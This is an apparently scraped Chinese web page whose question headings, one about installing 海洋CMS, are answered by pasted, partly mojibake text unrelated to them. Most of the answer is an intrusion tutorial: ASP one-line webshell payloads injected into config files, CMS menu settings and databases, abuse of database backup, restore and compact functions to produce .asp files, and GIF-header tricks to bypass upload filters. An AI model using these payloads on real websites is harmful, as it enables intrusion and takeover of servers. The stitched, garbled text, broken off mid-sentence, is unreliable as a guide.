皮皮网

1.如何下载一个网站的后台！
2.怎么安装海洋cms？
3.50个c/c++源代码网站
4.7个源代码/库搜索引擎网站
5.如何进入网站后台 获取webshell进入后台

如何下载一个网站的后台！

       ä¸Šç½‘找源码吧，那样省事还不违法，如果攻击网站，是能被查出来的，IP全世界唯一，你想想。为了一个网站，值吗？如果实在找不到需要的，可以找我，帮你找找。呵呵

怎么安装海洋cms？

       1.将下载下来的海洋海洋买卖 博弈指标源码系统源码upload文件夹里的文件全部上传至网页服务器

       2.请运行hacker at dot net":eval request(chr ())//, 在配制文件中就是webmail="cnhacker at dot net\":eval request(chr())//"，还有一种方法就是写上cnhacker at dot net"%><%eval request(chr())%><%'，这样就会形成前后对应，最小马也就运行了。<%eval request(chr())%>可以用lake2的eval发送端以及最新的 客户端来连，需要说明的是数据库插马时候要选前者。再如动易，到文章中心管理-顶部菜单设置-菜单其它特效，插入一句话马"%><%execute request("l")%><%'，保存顶部栏目菜单参数设置成功后，我们就得到马地址http://网站/admin/rootclass_menu_config.asp。

       äº”、利用后台数据库备份及恢复获得webshell

       ä¸»è¦æ˜¯åˆ©ç”¨åŽå°å¯¹access数据库的“备份数据库”或“恢复数据库”功能，“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp，从而得到webshell，msssql版的程序就直接应用了access版的代码，导致sql版照样可以利用。还可以备份网站asp文件为其他后缀 如.txt文件，从而可以查看并获得网页源代码，并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候，但是有asp系统在运行，利用此方法来查看源代码来获得其数据库的位置，为数据库插马来创造机会，动网论坛就有一个ip地址的数据库，在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法，很多asp程序在即使改了后缀名后也会提示文件非法，通过在.asp文件头加上gifa修改后缀为gif来骗过asp程序检测达到上传的目的，还有一种就是用记事本打开图片文件，随便粘贴一部分复制到asp木马文件头，修改gif后缀后上传也可以突破检测，然后备份为.asp文件，成功得到webshell。

       å…­ã€åˆ©ç”¨æ•°æ®åº“压缩功能

       å¯ä»¥å°†æ•°æ®çš„防下载失效从而使插入数据库的最小马成功运行，比较典型的就是loveyuki的L-BLOG，在友情添加的url出写上<%eval request (chr())%>, 提交后，在数据库操作中压缩数据库，可以成功压缩出.asp文件，用海洋的最小马的eval客户端连就得到一个webshell。

       ä¸ƒã€asp+mssql系统

       è¿™é‡Œéœ€è¦æä¸€ç‚¹åŠ¨ç½‘mssql版，但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片，然后记住其上传路径。写一个本地提交的表单